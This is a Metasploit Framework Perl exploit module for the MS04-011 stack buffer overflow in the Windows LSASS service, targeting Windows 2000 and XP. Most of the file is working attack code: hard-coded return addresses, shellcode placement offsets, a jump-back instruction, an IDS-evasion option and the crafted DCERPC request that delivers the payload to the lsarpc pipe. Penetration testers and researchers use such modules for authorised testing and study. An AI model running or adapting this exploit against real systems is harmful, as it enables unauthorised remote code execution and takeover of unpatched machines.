
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::lsass_ms04_011;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
    'FragSize'    => [ 256, 'The DCERPC fragment size' ],
    'BindEvasion' => [ 0,   'IDS Evasion of the Bind request' ],
    'DirectSMB'   => [ 0,   'Use direct SMB (445/tcp)' ],
};

my $info = {
    'Name'    => 'Microsoft LSASS MSO4-011 Overflow',
    'Version' => '$Revision: 3715 $',
    'Authors' => [
        'H D Moore <hdm [at] metasploit.com>',
        'Brian Caswell <bmc [at] shmoo.com>'
    ],

    'Arch' => ['x86'],
    'OS'   => [ 'win32', 'win2000', 'winxp' ],
    'Priv' => 1,

    'AutoOpts' => { 'EXITFUNC' => 'thread' },
    'UserOpts' => {
        'RHOST' => [ 1, 'ADDR', 'The target address' ],

        # SMB connection options
        'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
        'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
        'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
    },

    'Payload' => {
        'Space'    => 1024,
        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
        'Keys'     => ['+ws2ord'],

        # sub esp, 4097 + inc esp makes stack happy
        'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
    },

    'Description' => Pex::Text::Freeform(
        qq{
        This module exploits a stack overflow in the LSASS service, this vulnerability
        was originally found by eEye. When re-exploiting a Windows XP system, you will need
        need to run this module twice. DCERPC request fragmentation can be performed by setting
        'FragSize' parameter.
}
    ),

    'Refs' => [ [ 'OSVDB', '5248' ], [ 'MSB', 'MS04-011' ], [ 'MIL', '36' ], ],

    'DefaultTarget' => 0,
    'Targets'       => [
        [ 'Automatic',    0x00000000 ],
        [ 'Windows 2000', 0x773242e0 ],
        [ 'Windows XP',   0x7449bf1a ],
    ],

    'Keys' => ['lsass'],

    'DisclosureDate' => 'Apr 13 2004',
};

sub new {
    my ($class) = @_;
    my $self =
      $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
    return ($self);
}

sub Exploit {
    my ($self)      = @_;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target_name = '*SMBSERVER';

    my $FragSize = $self->GetVar('FragSize') || 256;
    my $target   = $self->Targets->[$target_idx];

    my ( $res, $rpc );

    if ( !$self->InitNops(128) ) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $pipe    = '\lsarpc';
    my $uuid    = '3919286a-b10c-11d0-9ba8-00c04fd92ef5';
    my $version = '0.0';

    my $handle =
      Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
        $pipe );

    my $dce = Pex::DCERPC->new(
        'handle'      => $handle,
        'username'    => $self->GetVar('SMBUSER'),
        'password'    => $self->GetVar('SMBPASS'),
        'domain'      => $self->GetVar('SMBDOM'),
        'fragsize'    => $self->GetVar('FragSize'),
        'bindevasion' => $self->GetVar('BindEvasion'),
        'directsmb'   => $self->GetVar('DirectSMB'),
    );

    if ( !$dce ) {
        $self->PrintLine("[*] Could not bind to $handle");
        return;
    }

    # XXX - UGLY
    my $smb = $dce->{'_handles'}{$handle}{'connection'};
    if ( $target->[0] =~ /Auto/ ) {
        if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
            $target = $self->Targets->[1];
            $self->PrintLine('[*] Windows 2000 target');
        }
        elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
            $target = $self->Targets->[2];
            $self->PrintLine('[*] XP target');
        }
        else {
            $self->PrintLine(
                '[*] No target available : ' . $smb->PeerNativeOS() );
            return;
        }
    }

    my $pattern;
    if ( $target->[0] =~ /2000/ ) {

        # Windows 2000 requires that the string be unicode formatted
        # and give us a nice set of registers which point back to
        # the un-unicoded data. We simply return to a nop sled that
        # jumps over the return address, some trash, and into the
        # final payload. Easy as pie.
        $pattern = Pex::Text::EnglishText(3500);
        substr( $pattern, 2020, 4, pack( 'V', $target->[1] ) );
        substr( $pattern, 2104, length($shellcode), $shellcode );
        $pattern = Pex::NDR::UnicodeConformantVaryingString($pattern);
    }
    elsif ( $target->[0] =~ /XP/ ) {

        # Windows XP is a bit different, we need to use an ascii
        # buffer and a jmp esp. The esp register points to an
        # eight byte segment at the end of our buffer in memory,
        # we make these bytes jump back to the beginning of the
        # buffer, giving us about 1936 bytes of space for a
        # payload.
        $pattern = Pex::Text::EnglishText(7000);
        substr( $pattern, 0, length($shellcode), $shellcode );
        substr( $pattern, 1964, 4, pack( 'V', $target->[1] ) );
        substr( $pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff" )
          ;    # jmp back to 1980 (disco fever)
        $pattern = Pex::NDR::UnicodeConformantVaryingStringPreBuilt($pattern);
        $self->PrintLine('[*] Windows XP may require two attempts');
    }
    else {
        $self->PrintLine( '[*] invalid target : ' . $target->[0] );
        return;
    }

    my $stub = $pattern
      . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
      . Pex::NDR::UnicodeConformantVaryingString('')
      . Pex::Text::RandomData(528)
      . Pex::Text::RandomData(528)
      . Pex::NDR::Long( int( rand(0xFFFFFF) ) );

    $self->PrintLine("[*] Sending request...");
    my @response = $dce->request( $handle, 9, $stub );
    if (@response) {
        $self->PrintLine('[*] RPC server responded with:');
        foreach my $line (@response) {
            $self->PrintLine( '[*] ' . $line );
        }
        $self->PrintLine('[*] This probably means that the system is patched');
    }
    return;
}

'chuuuuuu chuuu!';
